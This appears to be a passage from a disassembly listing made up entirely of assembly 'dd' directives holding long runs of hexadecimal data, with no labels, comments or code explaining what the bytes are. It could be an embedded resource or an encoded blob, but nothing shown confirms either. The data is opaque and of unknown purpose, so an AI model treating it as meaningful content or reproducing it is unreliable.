		dd 0B200EFBFh, 99010B90h, 3877C4B0h, 0C9035694h, 0F0BBF2EEh
		dd 0AE109BC8h, 87A1613Bh, 8FDF9F50h, 0D9E0AF67h, 9CF51FAh
		dd 0EC6EC720h, 4C5F8000h, 0F7002656h, 1F16C623h, 0FD5D892h
		dd 5E6D28C2h, 7986C05Ch, 24E11DB3h, 0C8E0F9A3h,	7D1F6BEEh
		dd 410062A8h, 0F8A93ED3h, 0B8E65023h, 251B1DFCh, 0C93DC1BBh
		dd 0F0D1E317h, 30000ABAh, 0EC688F2Fh, 0BFC0A2h,	7ADFD049h
		dd 2934E1CCh, 0D9A07067h, 79040E64h, 0EA98306Bh, 1B7449h
		dd 5B46CE93h, 0AB307480h, 0F5073F01h, 9BB0940Bh, 4BC1DC4h
		dd 86AA328Ch, 185A8131h, 0FF012191h, 0AB4B7990h, 9A0CFB73h
		dd 40D46560h, 0AE5C003Ch, 0EB46649h, 0EF094EB3h, 2096AA69h
		dd 0E06AA00Ch, 0B8C0968h, 290029C1h, 0CB5FC318h, 8281D49h
		dd 78EDA8h, 728196E3h, 64E4115Ch, 7F018D74h, 50FF492Fh
		dd 0F82009F1h, 0A8E866h, 0C7D8530Fh, 0E24A2E47h, 8156231Eh
		dd 0ABFC89h, 0D5D1B71Ch, 0EE58003Eh, 135F96Fh, 4F77A4BDh
		dd 0CCF69B2Ah, 800F7F21h, 0FF2EB99Dh, 2500CA5Dh, 0C40E88DAh
		dd 2A6186h, 526FF047h, 9343575Eh, 0B1568C1Dh, 708378C0h
		dd 306087h, 8D61A549h, 4F2246BBh, 7A6B5400h, 0F1510BE9h
		dd 195F04Dh, 1CCDC3B2h,	80AA3357h, 0AE23A540h, 4F0BE8h
		dd 0EE80C247h, 0E4187EBEh, 0F400CCF8h, 7176B91Eh, 7483058h
		dd 53F2B584h, 7B39815Dh, 75A0E3FEh, 3438B127h, 2138006Ah
		dd 0B3181F81h, 0C158001Ch, 38FC4C5h, 0E600353Bh, 0E26F1D79h
		dd 61C3ED07h, 19716CF5h, 7BEC245Fh, 4677DE1Dh, 7D353F47h
		dd 6A9FEB0h, 557300A6h,	0DDFB544Eh, 0A126577Eh,	1C0F27E6h
		dd 846F2AE7h, 0F25D9260h, 0F3E40EB6h, 4AA03954h, 7A10D0CBh
		dd 32F48907h, 0C9D0D2DCh, 0F5884h, 6F9337AFh, 874F068Eh
		dd 91667018h, 5E7CA91h,	3A5744A4h, 8B008015h, 55186249h
		dd 48112DECh, 0FE0B00B6h, 1A8832F9h, 14021DBCh,	1BD986F2h
		dd 0D2E068F7h, 5033005Eh, 18EE3C55h, 5C3F4426h,	74902CAFh
		dd 0A3617181h, 346451DEh, 31E61796h, 0A94B006Dh, 8E08A61Fh
		dd 70281471h, 3F00E032h, 964E649Ch, 6488F6Eh, 8A8D1047h
		dd 6202215Bh, 45F7EEDDh, 3300D563h, 2542647Eh, 0CAAF4000h
		dd 5A3116B0h, 1FEA0014h, 334A8CDDh, 0BFB80959h,	0F8CFAD07h
		dd 0E9A86Ah, 0F621021Eh, 0A9690AB4h, 7FC99EAh, 307832h
		dd 4FFF4ADBh, 776FB600h, 2117C5DDh, 0FA40FCAh, 0BD809CC9h
		dd 0EBAB4229h, 604EF600h, 0B84730FDh, 0E75D00EDh, 126B6C2Bh
		dd 0AF0076D5h, 524E82B1h, 0DC42ACh, 2FA4A1B5h, 3002817Bh
		dd 176D7A01h, 0C7906AD4h, 0B700E862h, 5B4B1060h, 0FC07E684h
		dd 44118761h, 0A31A6910h, 0D66006Bh, 74150C8Dh,	6F00324Eh
		dd 1857DC56h, 0C2511Ah,	8A4AB5EBh, 209CF36h, 7D6D3F1Eh
		dd 773EDE04h, 1C44D0C7h, 45A00C90h, 98D2F4CDh, 38270F12h
		dd 3480632Ah, 0AD01F795h, 0C19C9604h, 0A8C00DBBh, 6C2C9Eh
		dd 4249D55Dh, 0FEA17D1Ah, 52A02550h, 0FC8E2209h, 9DC8751h
		dd 0B7052B30h, 210B0B8h, 0D2A6D68h, 1448A17Ah, 0FA3C1D52h
		dd 8E6200F3h, 0A5A7C209h, 0E030134Ch, 0D6684219h, 0F760A923h
		dd 2A676A09h, 44B67608h, 0A11F37C0h, 3E1A3310h,	201429DBh
		dd 1E208131h, 0B72EACADh, 60C1F101h, 40D1696Ch,	2435CC74h
		dd 334A2193h, 0DFB5F38h, 0C0F411E3h, 5A40E73Ah,	0AFC19905h
		dd 5C00A991h, 6FC99808h, 26CE020Eh, 0D0B0F00Fh,	69BB4F40h
		dd 0D84188C0h, 0D33D62h, 0C9AF7592h, 8AF5CE1Dh,	70EF2200h
		dd 999E7CD7h, 0C40B547Eh, 1CD80025h, 6DEE8297h,	0FA0061D4h
		dd 9D73A9FDh, 3073855h,	0CED620A3h, 0D00B7B13h,	29E4AA8Bh
		dd 0F1C20C58h, 0F25A00F5h, 0D376E199h, 96015B2Ch, 77C74C36h
		dd 3184A95Fh, 197F8EE5h, 50B72848h, 3914048h, 67F6AE0Ah
		dd 0FC1305Ch, 23CF62EEh, 5776CEh, 8426A128h, 5BD217C3h
		dd 0B2477701h, 0E451EADBh, 0DFD8F4h, 45438B66h,	9097F3A3h
		dd 764D700h, 0F6A0A7B2h, 0AA17073Dh, 0C0D518B7h, 53157AEDh
		dd 2101B6F8h, 1F8B7EE5h, 94D07C11h, 52E4BDh, 0E7C4587Fh
		dd 2B850A6h, 0C00E6FCh,	1F854F31h, 250A440Fh, 0E403E0FAh
		dd 0E901D2F5h, 42EA937h, 6EF039B4h, 0D7B81690h,	3CBE00A3h
		dd 47919CBDh, 6D006476h, 7605283Dh, 1435B2EBh, 90DE0C69h
		dd 65EE6703h, 0BC005DE1h, 0E836C8A6h, 0F086B1Bh, 0E785721h
		dd 0E5767B23h, 0B02FB7D0h, 0DEFF5300h, 41EDDA03h, 66B8008Bh
		dd 1637099h, 695848A2h,	0DA8300F5h, 56DBAC91h, 1C2F1CCBh
		dd 0E41A0647h, 0E73D085Bh, 69EA000Ch, 2CFA2371h, 6A5A5830h
		dd 7A851600h, 0FE033EF7h, 89385C63h, 39410357h,	8B0532D2h
		dd 8AFA2E90h, 1C0F6601h, 0B5DAC816h, 4E6170B0h,	6174A3E0h
		dd 0B6CD11C1h, 3C54029h, 716AA8D0h, 701E00F9h, 486FA4FAh
		dd 4C0FA219h, 0FD8791B2h, 71A0103h, 837990BFh, 9E1C0C8Dh
		dd 508906Bh, 0F72791C0h, 4F1A407h, 0DD98ABA9h, 0D9F1C080h
		dd 0F003D846h, 0B5825A1Eh, 278803E6h, 0F1DDC2AFh, 13FF4DE0h
		dd 60E2D938h, 8B55CE10h, 2D70EFh, 6C59E80Ah, 14493EA7h
		dd 0B4F05C00h, 2F1E1122h, 46300E0h, 0A61682Dh, 0A2024D1Fh
		dd 0BA7B5224h, 5DD64059h, 4C86007Dh, 1DF9FD8h, 6603B4BFh
		dd 0C1A5B1ACh, 652CB878h, 8EF20499h, 0C02AD392h, 0C515254Dh
		dd 0E533BC0Fh, 79FA007Ch, 5E298B68h, 0FEE81Dh, 0BD4C2B5Eh
		dd 33B9717h, 15E322F9h,	988F08Fh, 99C0FFDBh, 6CC20212h
		dd 465326A3h, 6CA0772h,	0B6009BFCh, 0C1424B3Ch,	67859A00h
		dd 0CA7A7948h, 0A5843AB1h, 1A11C700h, 0DE400B91h, 0FE2D5500h
		dd 33D88BDBh, 0C28300F6h, 0CC77646Ah, 4207409Bh, 0AB1D61ACh
		dd 0AA55D910h, 0F74A0F50h, 25E12CAEh, 0E4B8931Ah, 0BA00ED85h
		dd 0AB18C23Fh, 0F149D7h, 6373F524h, 1107900Fh, 40261D7Ch
		dd 1B00EC10h, 66E5930Dh, 20A0080h, 0B5BF9ED9h, 20CF072Ah
		dd 950E8041h, 729A11h, 138F604Bh, 349D1E17h, 19936303h
		dd 0E08D2B12h, 7E31CA7h, 920A22DAh, 0E4B86098h,	2190A4A6h
		dd 0A5BA3100h, 9D553F37h, 0AD5001B5h, 0C09FBDAAh, 0F6DDE480h
		dd 1F018801h, 17F4756Eh, 1DB1EED8h, 0BD1DC08h, 0C880D08Fh
		dd 8251CCE1h, 3D70FF00h, 4CBD042Ch, 1C39E8A0h, 5F8F6A58h
		dd 6E49C087h, 33648A5Ah, 91C8FC00h, 8FD0293h, 0D44D00BEh
		dd 0AABB8042h, 1D74F340h, 0A48BC600h, 0C10C2579h, 52420081h
		dd 27983032h, 0B358A5BCh, 5340123Fh, 37249B00h,	9C1E79h
		dd 153CDE6Ch, 287773D8h, 0E92A7412h, 0EB6B8200h, 56B516h
		dd 0F845FDC0h, 96239417h, 0A08FC728h, 0E5D88207h, 877F7EDAh
		dd 11E0E9E6h, 0C185192Dh, 0A129B20h, 9DED0A4h, 52D0BB03h
		dd 0B15F3A0Bh, 67307195h, 8EB500C8h, 0A3361FFBh, 0E00AED6h
		dd 243EBEE2h, 1C5DEC0Fh
		dd 0DC7F0278h, 58BC18BFh, 0F00098D8h, 72BD8F73h, 0D038FBh
		dd 0AC40977Ah, 0BCCE4599h, 0AD1DDDF2h, 0A2C0D244h, 7776A015h
		dd 3AA8708Fh, 0BC80E9ABh, 0FA805A4Dh, 3009379Dh, 0A62143h
		dd 589F1C05h, 0EA3B85Ch, 112E092Bh, 0B785D880h,	590065FFh
		dd 0ED41AFB1h, 1D348EF0h, 403D366Ah, 0FBDD1901h, 0FE246BB3h
		dd 0A90028A5h, 0E2B59C4Ah, 0F79E028Ah, 96260C2Eh, 0A9BA440h
		dd 0E96FA100h, 83EB5FCEh, 0E2DB01FDh, 8B90E529h, 0D152092h
		dd 0C3BAB50Eh, 0A4DE40DCh, 3C555BE7h, 4B80EA90h, 0A0DB29A5h
		dd 0B80ABDD7h, 0CCD17563h, 1B237800h, 16832B7h,	0AF2B55E4h
		dd 0C880ADB3h, 4339CD5Fh, 2700FA01h, 0BBB2A20Ch, 0EE31FCECh
		dd 161E00DDh, 2D324114h, 0B600C89Dh, 0C4D2DA5Dh, 0A0ED9Ch
		dd 0B95B5E56h, 788442BBh, 73A71401h, 2FC75053h,	54ECB020h
		dd 30799036h, 4AB0DEC5h, 0EE03919Bh, 9875D6ADh,	0C64CA920h
		dd 0CDA59880h, 0FA17542Bh, 0A0144126h, 9ED00Bh,	56928784h
		dd 0DC1654DFh, 62D7003Dh, 8CAE0898h, 0AF055D07h, 6F0DCDFDh
		dd 0CF5AE400h, 0EE9F9B3Dh, 63DD0418h, 90B592D8h, 2C52B1F0h
		dd 0C293B802h, 80811B26h, 9BD7B4D8h, 0BE3A0E2Dh, 57801EA6h
		dd 0F9ACB962h, 0AF191C00h, 8814FC72h, 0B747EFE6h, 0B8ECA403h
		dd 18C16D84h, 71302AE5h, 0C80CEDC9h, 1032FA31h,	6D9E3EA8h
		dd 252EB680h, 0FD093DEAh, 11F6AE00h, 0B0C8811Fh, 0F33219C9h
		dd 30FA78AFh, 0D5012F50h, 2EDB269Eh, 0CAC84BD2h, 7AA70084h
		dd 4A39C2B0h, 90004F2Bh, 3F12295h, 0F853C65h, 0F6C4DDC5h
		dd 4952E580h, 0CC98BD86h, 33002C75h, 0E30E677Fh, 0BFF959h
		dd 0ED98462Dh, 31A14501h, 0AD563Dh, 89910AA3h, 0FC4BEB9h
		dd 74F72803h, 0CBE064EFh, 917851C7h, 0DC3B040Eh, 423740A0h
		dd 0F02FF0B4h, 52C90180h, 629DDDDAh, 82E45556h,	0C48FC9Fh
		dd 2E0E907Dh, 80887CD0h, 2D0B5F21h, 0AF72000Eh,	131DE81Eh
		dd 300BC16h, 0C030489Eh, 0E45EB0h, 0B508AC5h, 7283C4F6h
		dd 6D952C03h, 0CF52FC51h, 601D36h, 5D60207Eh, 939BF479h
		dd 153C5150h, 5E2EF200h, 79567867h, 809B01E4h, 0E5380E7Ch
		dd 88A8B913h, 3C3B2EFEh, 0B8265E00h, 8D11B6B4h,	3E120300h
		dd 0D95B9C0Eh, 0FDB1034Ah, 0A90B1C32h, 0E7B8FCABh, 3E00F014h
		dd 0EBC20E3Ah, 0EAAF56h, 0CCE29A64h, 0D0DF0AB1h, 4A977B00h
		dd 86DB8DC4h, 0A61F0032h, 35CD2D38h, 2100CB91h,	73104DE3h
		dd 224FF6Eh, 0AE1C26E2h, 0EF4031ECh, 0FC00C634h, 0C8A539DEh
		dd 1F65EE53h, 0C08FF19Ch, 33DF8885h, 751FADBBh,	0E8808666h
		dd 816E89CFh, 61DE0EFFh, 0EAA0961Ch, 1E6912B6h,	67D72300h
		dd 40373146h, 7D360017h, 795130BAh, 0AC002171h,	195E4B24h
		dd 0A863DF82h, 0A8FA5FB4h, 3F7141ACh, 0E8009CB0h, 0E1B243CEh
		dd 9D7D69EBh, 90935F00h, 407970BCh, 6B893E1Fh, 1CF45901h
		dd 241DB691h, 8C00A110h, 68B7C3A0h, 70B26FD8h, 0AA6E1F6Ah
		dd 0D7F2C0E9h, 2FC9106h, 741E6260h, 7876FB63h, 0A12B00DCh
		dd 449D6627h, 1E0C8342h, 0A986BBBDh, 985A000Ch,	0D922185Bh
		dd 0DF18F191h, 8A306FDAh, 0E1890021h, 0BC019CFh, 2900701Eh
		dd 91886EA0h, 12F6AB06h, 408105CCh, 147BB3C8h, 0E00AD38h
		dd 41682F0Dh, 1E246D7h,	0DBBECEE6h, 0D09031F6h,	180E93BDh
		dd 0C4C1F5D9h, 3088E0E8h, 0DF0522F2h, 0AFAD8A00h, 8FE4E690h
		dd 0BCD23ADBh, 0E76E2300h, 0B6FACB6Fh, 0F099DF00h, 44AF3A65h
		dd 5AA1814h, 37CB4139h,	0CF0AAE7Fh, 0C811EB4Bh,	0D6DDC180h
		dd 1E5A441Fh, 31941683h, 505CBCC1h, 645250B8h, 0FB130238h
		dd 3B1F7100h, 24F572FCh, 5173890h, 73443C01h, 87E97B0Dh
		dd 635ACF71h, 281183E6h, 93C95Dh, 861C3062h, 0A47B5F97h
		dd 0E7CE3Eh, 79734B0Dh,	9AE63Ah, 0E991FBF2h, 45196A71h
		dd 0B1E5EB30h, 0A2C71Fh, 0E70C0F30h, 8E02C625h,	6944A00h
		dd 315EDEBFh, 8FD605E3h, 5E7D91E8h, 0AE88C0ECh,	5CD861Eh
		dd 0AD0D4000h, 522C719Fh, 667F3DAFh, 98A97DB0h,	0BF00C56Ch
		dd 12E7951Bh, 6135C7h, 8CFEE278h, 5F05D780h, 0B791EF60h
		dd 85D3D1h, 4479385Bh, 0EBB696D5h, 0C221FE60h, 70B3E3h
		dd 96063CAh, 96A39ACCh,	7267833Dh, 7546C701h, 92E977AFh
		dd 57CD5841h, 41DC48h, 0C854F8A4h, 0A3710D24h, 0CA2619C3h
		dd 0EAD8093Bh, 72802F19h, 24FC8E74h, 0A700F0A6h, 0C7220612h
		dd 0A5ECE90h, 82BC897Ah, 986D0234h, 0B5E0CA2Eh,	6900C381h
		dd 0AC659432h, 2664B72h, 0E5A75E2Bh, 844B7DCh, 790BC58h
		dd 0F2AD51A5h, 6F1687E1h, 183C4C48h, 3175B68Ah,	6700FB3Bh
		dd 80F0EC87h, 8EAFD3h, 9C093819h, 0EB6BDB2Ch, 0D1B1E360h
		dd 7021CF2h, 6E79D669h,	0E55A90EEh, 4FE45DF6h, 81AEA83Fh
		dd 2F60B259h, 39BBE4EBh, 0F08E4480h, 5E759F05h,	1FC1505Ch
		dd 86417C35h, 0BB9E3ABCh, 90537C40h, 50C7F1Ah, 3701F18h
		dd 4C828107h, 0C7CC2075h, 0D0B46600h, 0A765B697h, 0AF013E3h
		dd 1C040041h, 636F7282h, 5F42E807h, 95C0545Ah, 675BB82Ah
		dd 806A91E2h, 41DB7A09h, 201CA7Bh, 6F511DA7h, 80E8A4DCh
		dd 19E81338h, 8118246Ah, 80F10A2Ch, 5E49641h, 1CE83DBh
		dd 8D31BD85h, 80B6EB6Fh, 21846E21h, 0EED83Fh, 1E31E2D7h
		dd 0E69DE7C9h, 9743D01h, 0FB5C7397h, 9A583180h,	464C3BC1h
		dd 8F8E3A00h, 0F13C1C1Eh, 24870042h, 0ACCDAEBEh, 5D00DB80h
		dd 1380372h, 93C8B9h, 0D27AC008h, 41284AC1h, 0A2BB5709h
		dd 235B89E8h, 0E06FCE54h, 2EFB4C8Bh, 82481514h,	0D1E6C0FAh
		dd 29834860h, 3108C231h, 0BCC8A728h, 0BF6C0055h, 0CE8FD570h
		dd 88C0494Ch, 83D60DDh,	930D2CB4h, 0DF2642B0h, 2700D464h
		dd 84F1CCBEh, 925FB688h, 7F7034h, 6C399FC5h, 53C22B06h
		dd 808BFC07h, 101434Ch,	2C90838h, 4C9524CCh, 3BC02C51h
		dd 0FECB4B42h, 9C55B400h, 0E141D7DBh, 0CD00198h, 0DE067C73h
		dd 860DD115h, 19BC2C91h, 9BCA0FD1h, 0E9A1AEEDh,	0C00B1474h
		dd 0EF03BA8Ch, 0C5281218h, 7FFA88DCh, 0F71C9EDh, 30098C91h
		dd 7600A2A2h, 84159121h, 2D717Ah, 6A3CE9D9h, 0F963B2DCh
		dd 0E943B433h, 0CBCDA829h, 6B7C0077h, 0ABEE877Ah, 0BB0A1148h
		dd 0B4BC9FB9h, 70A72240h, 0F6637DE7h, 59060CBEh, 1349E282h
		dd 33BFD3Ch, 5EE489E1h,	0BC191542h, 7400B4F1h, 0E9A0D22Ah
		dd 65098FA1h, 79756C1h,	0F6C73F98h, 717A80E9h, 975F794h
		dd 0B9AD43E0h, 0FCE9845Fh, 0A29E4CC1h, 0F62C0C33h, 87930C70h
		dd 7B321061h, 52BC213Ch, 25780064h, 0F487FB24h,	220034D1h
		dd 0C7819D4Ah, 0CCEA3F2h, 0EC05C999h, 8A0A9E39h, 92C44184h
		dd 0EAC1751Ch, 0BA03EECCh, 90553443h, 0FFEB5BDDh, 31D52930h
		dd 57C88842h, 0F8E470BEh, 0D701B4F8h, 0C01864A2h, 688EC555h
		dd 9919B9FBh, 6FF848BBh, 5EB8B600h, 38578240h, 0ED8F0012h
		dd 0B1BE108h, 0C54C37FCh, 311530B4h, 4D75Ch, 37F9742h
		dd 202ACF5Dh, 0F60B0D72h, 905C663Bh, 0E894D90h,	909AAADDh
		dd 0C3E172A0h, 6D025393h, 75B24FBDh, 0BEF740ECh, 10CF09FCh
		dd 0E89826ADh, 0C260E629h, 1BA461Eh, 707CB8AFh,	83407EDh
		dd 0D09C9FAAh, 0A0550D62h, 3853940Eh, 0BD8725B0h, 0E9F1C6h
		dd 5247E756h, 1610586Bh, 485ED930h, 9D62EBh, 6F4080B3h
		dd 3A38FAE7h, 0E085D201h, 6B5DB6F1h, 0A651885h,	576BC00Bh
		dd 7300BC6Ah, 0C6DB87CDh
		dd 2403ED13h, 40BC6829h, 32714339h, 0D400C17Dh,	94DBD29Fh
		dd 30197FF6h, 0EAE8214Bh, 4E3E6ED8h, 1C12A801h,	2780D660h
		dd 0A9117A82h, 2430D8B4h, 0F0B066h, 207971A8h, 0F6A19330h
		dd 0E1077E31h, 1C707851h, 0D9B000FDh, 6693E17Ah, 9201D331h
		dd 5E071873h, 0D8DBE7A2h, 0FCB2B26h, 741D6F61h,	0A03AAA04h
		dd 1604A320h, 5A01FAD5h, 9B659C97h, 80BE5009h, 3123038Ah
		dd 0FB8200C0h, 0E53BE4D9h, 2158812Ch, 498901C7h, 24D2AF77h
		dd 5A52C4h, 0EFF92ADAh,	0A8CEF506h, 0E88C110Ch,	0F13B9DBh
		dd 7FCB3F3h, 7A8BA4CFh,	0B6891898h, 94291962h, 0E6D3E0EAh
		dd 82000BFh, 0F8DCC930h, 0E4A3ABB5h, 146F62C8h,	0AA68F512h
		dd 0BB9AF200h, 77CD8FCh, 7985CF03h, 2E7A703Bh, 0B099A27Fh
		dd 0FB4EC905h, 0AEE3A600h, 28A5BF07h, 38B47F61h, 0FC83C623h
		dd 5C41F2A9h, 84803082h, 0D40D0982h, 14772A00h,	1E369D7Dh
		dd 39CB00D7h, 834DC567h, 81C944Ch, 3D03F2C9h, 10C2BDh
		dd 1F4031F1h, 5FB21DDDh, 86B38807h, 0CD27A7ADh,	0C4026245h
		dd 0E054DF59h, 1DF2DD84h, 1E136C20h, 58BA00B3h,	90A7DBD5h
		dd 11805F18h, 0B63C4C9h, 89E30D4Ch, 19F6BC86h, 0BDD61302h
		dd 44681CFCh, 196600C8h, 696D8BA4h, 0C51D750Dh,	6F4965EEh
		dd 3D40A23Ah, 46A8811Dh, 8CF09EA6h, 0D15602ABh,	940D4553h
		dd 2626E052h, 70647C8Eh, 49EF9420h, 0FBA67A0Bh,	18950997h
		dd 55EAEE0h, 10160A4Eh,	0B8588271h, 0DF1AB023h,	4950CF20h
		dd 0B51F0043h, 21097314h, 585C7181h, 0DC099C2Ch, 43D9009Ch
		dd 0E7A1B1h, 155116CCh,	579A5EDh, 9CE25800h, 3D29BA32h
		dd 0DFD730ECh, 33C15910h, 44A94D16h, 2AD96000h,	0CCF0719h
		dd 55B37A3Ch, 0CE0BB739h, 564AC3B1h, 41A61869h,	0D500096Dh
		dd 0F54792Dh, 383493EAh, 0B6809A3Ah, 0E259337Ah, 0B0E15E4h
		dd 3F8D507Bh, 0F6BB8C3h, 66812E4Dh, 0E89E007Bh,	0A3271888h
		dd 4C1DA0C4h, 497F2A46h, 93B1303h, 9087A97Eh, 50AA351h
		dd 0B7F9B3CCh, 92848085h, 49003653h, 5407D5DEh,	198C3CDFh
		dd 0B1BCB17Ah, 33C4002h, 0AB00FA12h, 4ABDFE09h,	6FE384C7h
		dd 83C0F040h, 59F5BC21h, 0D5F42B1Fh, 7090EDC1h,	36E05235h
		dd 0A5031C40h, 84A983h,	0BA6F8EB8h, 7500FF16h, 67E8028Fh
		dd 2A7A0C2Dh, 0E2A45ABDh, 0EB3C01A1h, 511CD1AFh, 0C8864043h
		dd 0FCF8FB28h, 0DF0A587Eh, 7CCE5F8Ah, 99998D0Ch, 455000D4h
		dd 1DC7A33Ah, 0CD034DBAh, 1DD0F30h, 56D900D3h, 6B724E51h
		dd 9EE65EAAh, 0CBD23D00h, 0C0DBB944h, 0DD64038Fh, 0B28410D9h
		dd 1134C0E4h, 1C0231FFh, 0FC0F6A5h, 9981DD15h, 8051FDD2h
		dd 0FA6B2759h, 2E7714Eh, 0C6ADE16h, 80A084A5h, 51441A5Ch
		dd 561E1DF6h, 0F0400B05h, 13184E7Ah, 54CC71E2h,	39180Eh
		dd 3B1A862Dh, 44672351h, 70D9A700h, 0EBCD9661h,	48A0018Ah
		dd 0D6A6ACC9h, 9C84402Bh, 36E4F6F8h, 71C4C600h,	0A45A3909h
		dd 761F0286h, 2BD34C8h,	63A610h, 55E511A7h, 79AAD8FDh
		dd 81566230h, 5007DAh, 165ACCC6h, 0BC63F108h, 317D9401h
		dd 0E402B7EEh, 0F8049B8h, 0CB095FDh, 900F7D3h, 4E811473h
		dd 3DF28BF6h, 11B17D1h,	40C731B8h, 94C86B37h, 3DC9A301h
		dd 0DB02CAADh, 9D102180h, 18FA498h, 0C0306C00h,	0AA62157Fh
		dd 0F5B0145Fh, 0C09EFC24h, 0A78F5C55h, 9900D45Dh, 0F382A94Ch
		dd 1553FC1Eh, 8C3DD7B5h, 80F9E71Eh, 0DDED57AAh,	923FEBEEh
		dd 4AB28414h, 0EC80C406h, 8A5C30h, 581C25DAh, 0DE402A97h
		dd 8DB83C0Ch, 6AD4986h,	6F5CBE46h, 0D10561A8h, 0A182CA14h
		dd 0EDB09C40h, 1686AA15h, 0A84A8AF3h, 41BB30C9h, 0E1040BDCh
		dd 0B8F091h, 86B95718h,	0C2D4F27h, 0E184253Bh, 88E82A31h
		dd 0B7190B00h, 4C918B52h, 0E077C5h, 5542F044h, 20EE1BEFh
		dd 51520230h, 49D7B07h,	83D4B2D0h, 5CAC904Dh, 340047C7h
		dd 2CE1BA70h, 97DC35h, 90A2EB22h, 0B230513Ah, 0CE004B98h
		dd 0EC637EAFh, 16F2D73Ch, 0FC051Fh, 0C4C9BF09h,	0AD1CD3E1h
		dd 0CBC25CB0h, 0A0682A2Dh, 9D030DC8h, 0BA9826C9h, 0D3C843A8h
		dd 640F8DF0h, 0DADF3C00h, 0CA8A76A9h, 0E41CA024h, 0B01907C9h
		dd 6640D278h, 0F401196Fh, 0A1CEA0DFh, 32FD8BF2h, 0A09FD424h
		dd 504BB6D8h, 0CD6858Ch, 0A2C83719h, 733FAE18h,	6700FC8Ah
		dd 0AA2D4E18h, 482B270Fh, 0E9C9484h, 0E9400D8Eh, 2DE3B890h
		dd 0D0D9C800h, 0B99795F8h, 0DC600F6h, 8F28EC3Ch, 0EE01DC81h
		dd 278477B2h, 42C030B7h, 0BEB101C9h, 0A51E4B54h, 70024BBh
		dd 0FB2C2400h, 0ACCC8FE1h, 4484E061h, 15000CEFh, 1C0FF465h
		dd 771920h, 62FB117h, 0EBD3D893h, 0BF7B71Fh, 0E82E018Ah
		dd 0C00D688Eh, 8E8D2A81h, 26E227h, 0BDDF1E65h, 2C0EF9ADh
		dd 98491B0Fh, 0D14B20CBh, 0C3945EF3h, 2F012850h, 0C4A44900h
		dd 0CD173857h, 45DE0052h, 86019D9Bh, 0B0003DD8h, 48AA97A1h
		dd 54907998h, 0D9E054h,	3BDFFD20h, 60B812B4h, 81FECB0Ah
		dd 62032C02h, 8067AEB9h, 820411h, 547ACC65h, 7DA46CF3h
		dd 7835080Eh, 3C9B25EFh, 139D8440h, 0B8D8CFC4h,	98842689h
		dd 0A3DB86E0h, 690094BFh, 0F907CD49h, 250775Eh,	0D290E212h
		dd 1C4427C6h, 80D6DC3Ah, 0BAC87F94h, 24E877D5h,	95251D4h
		dd 24126040h, 0C821E404h, 0ED30DBD4h, 38B2893Fh, 8DF4A885h
		dd 198060D7h, 0F07079CDh, 0AF482600h, 49B45E99h, 72AEA60h
		dd 156B5114h, 0A864502Ch, 0F2E03D17h, 0C6A4DA00h, 0B2898B5Fh
		dd 0A76A010Dh, 5222E23Eh, 1B062BAh, 97BD4423h, 55CCB9DAh
		dd 0C6A7716h, 6327A3F1h, 0A10001B1h, 810B42CFh,	682CEF4h
		dd 84289CD6h, 0F605A1A7h, 0B21A4A5Fh, 0FAFC430h, 0F8BE0083h
		dd 504BC8C3h, 7D3BA308h, 896400B5h, 40353CD4h, 8306098Ch
		dd 0C822E2E0h, 53427425h, 3AF09010h, 0B0B28F00h, 0E9AF2F37h
		dd 63BB304Dh, 0A77F69C1h, 523B3500h, 269B82A6h,	771801B7h
		dd 43977546h, 0B9DC20F4h, 39143100h, 8588D0F3h,	18F0991Dh
		dd 9EE209B1h, 777BAA00h, 0CA1653C0h, 0A0D87F6Bh, 2A5F2190h
		dd 2886DC9h, 1ED7B8E5h,	0BCE1EED2h, 2E7AC00Fh, 1C40D48h
		dd 24EAF929h, 68EC79A3h, 32A70C2Dh, 0B6E1C68Ch,	5FDE9E02h
		dd 90DB8903h, 98153C2Ch, 0D3650020h, 5CB3B4F1h,	0AB0BEF98h
		dd 80A0B5C9h, 96FB744h,	0AE141DB2h, 3FC7C01Ch, 0BE3B2A93h
		dd 9807632Ch, 60C21E60h, 79496039h, 0B87D5792h,	7178B630h
		dd 137AE9Eh, 742EFDEh, 0E456A3CFh, 2C7D6AF1h, 0E0718901h
		dd 858DB9D2h, 0E068824h, 0CEA3E7F2h, 9A20AF80h,	7B5C3A88h
		dd 7A171F70h, 8DBDF3C5h, 7BB17488h, 22740B07h, 0C09655Dh
		dd 24B82800h, 9140CD40h, 2AEAF4E2h, 0C45502h, 0DDE4F9B2h
		dd 0BF09A980h, 8919BA00h, 852BEB70h, 29546025h,	4758D3DBh
		dd 0D1666030h, 7497A63h, 6B0F5701h, 2B7DAC7h, 2D1F6F7h
		dd 0C34E6064h, 0D80053F8h, 6F8E371Dh, 0A3CC28Dh, 4D1E7EE8h
		dd 28CC3C56h, 1447D041h, 0D42C8DD1h, 4329111h, 0EEE1B0D2h
		dd 208120C9h, 40CADC03h, 3E6C5362h, 3887CE90h, 4B6027F4h
		dd 2FA9F7A9h, 0F8791F3Ah, 321B40DCh, 84DE2BA7h,	0E2F57601h
		dd 0DD3F31E3h, 74498D0h, 913BDC8Ah, 0C5829E0Fh,	10590463h
		dd 8E1C3100h, 3B05D354h, 1F802BB2h, 0AC5FE5B6h,	3B3E29D7h
		dd 744B3D0Dh, 4DBA22h, 92109E6Ch, 6683685h, 2300D071h
		dd 3441B771h, 0B058EADh
		dd 0E44CF921h, 0BFE9228Ch, 0FD852496h, 9C08AC1h, 1E7C7EFh
		dd 0BC9DD253h, 9F6427F9h, 0FE87AAE9h, 2BB09222h, 3A2AD7BBh
		dd 66005FB0h, 0EC0E1AF3h, 0C49148D4h, 52402025h, 841768h
		dd 0D2434D64h, 8B408E3Eh, 6C83AE2Eh, 8695B240h,	15201C6h
		dd 0A526F5D5h, 0AE74200Eh, 0B701B0E8h, 0B9E71988h, 984D7A3Fh
		dd 0B0215731h, 6A859CEh, 119EB363h, 0BA9DD880h,	9BECB916h
		dd 0BFA49420h, 778300D1h, 0AC3EE564h, 9805B578h, 0A15F8D50h
		dd 61887DC0h, 0D03C312Ah, 22FBDB59h, 58790210h,	608A38FEh
		dd 0A4839DC8h, 0E9D100A4h, 0C0C6EA1Ah, 4F007DC4h, 24CCBD92h
		dd 3FD1C3Fh, 30BC26Ah, 95E0CECAh, 0EF042EAEh, 9227E140h
		dd 21DD3490h, 6DB602C5h, 3CB05D56h, 0C2676077h,	0E1A317CAh
		dd 2FF830E3h, 3B029B4Ch, 54382B68h, 41FE8E71h, 0EE8478C2h
		dd 0D3152981h, 0EC7C4AD2h, 0FF00BDC6h, 0BFD9839Bh, 1743499h
		dd 0C2B650B4h, 0C0FA4FEAh, 311EB53Bh, 5C35AEEh,	3CB9DCC3h
